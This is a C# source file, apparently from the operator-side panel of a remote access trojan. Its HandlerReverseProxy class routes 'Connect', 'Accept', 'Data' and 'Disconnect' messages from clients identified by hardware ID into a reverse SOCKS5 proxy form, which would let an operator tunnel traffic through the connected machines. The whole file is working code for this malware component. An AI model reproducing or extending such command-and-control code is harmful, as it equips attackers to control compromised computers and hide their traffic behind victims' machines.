Files
2026-08-27 11:21:58 -06:00

84 lines
1.8 KiB
C#

using System.Windows.Forms;
using Server.Connectings;
using Server.Forms;
using Server.Helper.Sock5;
namespace Server.Messages;
internal class HandlerReverseProxy
{
public static void Read(Clients client, object[] objects)
{
switch ((string)objects[1])
{
case "Connect":
{
FormReverseProxy form = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[2]];
if (form == null)
{
client.Disconnect();
break;
}
form.Invoke((MethodInvoker)delegate
{
form.Text = "Reverse Proxy [" + (string)objects[2] + "]";
form.client = client;
form.server = new Server.Helper.Sock5.Server(client);
form.Activea();
form.GridIps.Enabled = true;
form.rjButton1.Enabled = true;
form.rjTextBox1.Enabled = true;
});
client.Tag = form;
client.Hwid = (string)objects[2];
break;
}
case "Accept":
{
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[3]];
if (formReverseProxy == null)
{
client.Disconnect();
break;
}
Client client3 = formReverseProxy.server.Search((int)objects[2]);
client3?.Accept(client);
client.Tag = client3;
break;
}
case "ConnectResponse":
{
if (client.Tag == null)
{
client.Disconnect();
break;
}
Client client2 = (Client)client.Tag;
client2?.HandleCommandResponse(objects);
client.Tag = client2;
break;
}
case "Data":
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Send((byte[])objects[2]);
}
break;
case "Disconnect":
if (client.Tag == null)
{
client.Disconnect();
}
else
{
((Client)client.Tag)?.Disconnect();
}
break;
}
}
}